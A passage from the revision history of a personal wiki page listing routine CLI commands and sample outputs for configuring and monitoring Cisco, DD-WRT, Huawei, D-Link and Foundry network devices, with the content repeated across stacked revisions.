stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-21T08:42:02Z

Porcelinux: /* change Interface MTU */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-21T08:33:30Z

Porcelinux: /* Huawei */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
